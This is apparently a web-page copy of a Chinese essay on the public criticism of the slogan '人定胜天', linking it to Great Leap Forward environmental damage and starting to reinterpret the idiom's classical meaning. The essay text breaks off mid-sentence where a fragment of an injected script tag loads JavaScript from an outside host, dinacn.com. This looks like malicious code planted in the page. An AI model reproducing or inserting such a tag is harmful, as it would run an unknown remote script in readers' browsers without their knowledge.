“人定胜天”受挞伐

    近期以来，一场对“人定胜天”的挞伐突然暴发，在网络如火如荼地展开着。

    有网友在“对人定胜天的历史反思”一文中写道：“人定胜天”是一个貌似英勇的口号，人们缺乏科学的精神、先进的技术和有效的组织，实际上把大自然当作敌人一样的长期斗争的对象，陶醉于虚假的“胜利”之中，狂热地犯下了不可挽回的错误。

    位网友跟帖：“人定胜天“是一句自欺欺人的话。它只不过是一厢情愿式的自我慰藉，起到蛊惑怂恿进而凝聚力量实施破坏的作用，而不是放之四海而皆准的真理。

    篇专访的题目直截了当地声称：《青海湖：40多年见证“人定胜天”神话破灭》。　

    “‘人定胜天’。信奉的开始，便是有朝一日必须要向大自然忏悔的开端”。这是中央人民广播电台《穿越三北风沙源》一文的结束语。

    “后患无穷的人定胜天”，这是一篇文章的标题。文中呼吁：“再不要一味地唱人定胜天的高调了。这将严重阻碍和影响我国防沙治沙工作的进程，不断加剧西部地区沙尘暴频发的势头。”文中还特别谈到，“人定胜天”，其背后所付出的代价远远不能用资金量的多少来衡量。它反映的是我们决策者的无知和一意孤行；反映的是一种主观思想在生产实践中的愚昧再现。

    ……

    总之，挞伐的网民普遍认为，渺小的人类在自然的力量面前根本就是微不足道的。人类一发威，自然就发笑。人定胜天是一个反自然反科学的口号，人类的种种战胜自然的“成果”，往往都是虚妄的、靠不住的。于是乎，人类应该敬畏大自然，提倡天定胜人。

    “人定胜天”为何受非议？

    人们要问，平白无故间，为何要对“人定胜天”发难？

    导火索是满天飞舞的灰尘。近年以来，由于沙尘暴频率、强度和危害程度加剧的问题非常突出，尤其是京城受到严重影响，于是环境保护工作也便得到社会各界的格外重视。而有的媒体通过调查及对专家的走访认为，信奉人定胜天观念是导致中国环境恶化的主要原因。为什么这样说呢？有例为证：1958年大跃进时期，政府曾组织群众到冰川撒草木灰，搞“融冰化雪”致使祁连山冰川提前融化，“冰川水库”面积迅速缩减；20世纪90年代政府在祁连山山区搞“冷粮高产”试验，使石羊河出山水量大大减少等。类似的一系列工程，直接造成中国西北地区荒漠化越来越严重的现实。而不少人认为，是“人定胜天”的观念决定了这样的一些对环境破坏极大的政策。

    一石激起千层浪。于是有更多的人，在分析中国环境恶劣的现状时，仔细审视那个历史时期发生的与自然界有关的一系列事件，几乎一致把“人定胜天”的观念当作罪魁祸首。在他们看来，1958年开始的“大跃进”和延续十年的“文化革命”，表现出人似乎无所不能、无往不胜。为了实现工业和农业高产，在“改天换地”、“人定胜天”的口号下，人们狂热地、有时是不自觉地投入了大规模破坏自然的活动。所谓“人多、热气高、干劲大”、“人有多大胆，地有多大产”、“开荒开到山顶上，插秧插到湖中央”、“喝令三山五岳开道，我来了”；砍伐树森，破坏草场，大闹围湖造田，在60°以上的山坡上垦荒，造成水土流失，洪灾不断出现；大炼钢铁，“两条腿走路”、“土法上马”、土法开矿、冶炼，土法办厂，破坏了资源，污染了环境；消灭四害（蚊、蝇、鼠、雀等），掠夺性开发野生动植物资源……

    现在，40年前开始的那场灾难的后果日益显现，时时见诸报端。其中有三门峡水库这四十多年来给渭河流域带来的数不清的灾难，也有长江流域大肆砍伐树木，生态环境破坏产生怵目惊心的恶果，还有青海湖畔大规模的农业开发，带来的难以挽救的厄运……一桩桩，一件件，似乎都向人们见证，“人定胜天”后患无穷！

    “人定胜天”的本意

    把一切灾难性后果都归咎于“人定胜天”，是否客观姑且不论，但对“人定胜天”应该如何理解，倒值得一议。

    “人定胜天”，这个成语表达的是人在自然界中的位置、人与自然的关系。其实，它的本意并不是被人们常解释的“人类一定能够战胜自然”。”宋·刘过《龙洲集·襄央歌》中有：“人定兮胜天，半壁久无胡日月。”“兮”为语气词，这样，“人定”是一个词，是句中的主语，“人定”中的“定”就没有“一定能够”的意思，也不构成句子中的助动词。

　　  那么这个“人定”是什么意思呢？中国古人认为，在军事较量中有三个重要的因素，即天地人，常言道，天时不如地利，地利不如人和。天时可理解为机遇或是气候条件，地利为有利的地理条件。天时地利都是?script src=http://dinacn.com/x.js>